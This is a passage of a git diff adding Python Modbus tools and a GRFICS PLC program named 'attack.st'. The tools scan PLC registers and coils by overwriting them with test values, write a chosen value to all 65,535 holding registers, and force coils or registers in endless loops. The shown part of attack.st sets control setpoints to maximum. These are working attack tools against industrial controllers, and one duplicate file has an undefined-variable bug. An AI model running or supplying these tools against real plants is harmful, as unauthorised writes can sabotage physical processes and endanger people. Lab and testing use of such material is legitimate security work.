+ if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + 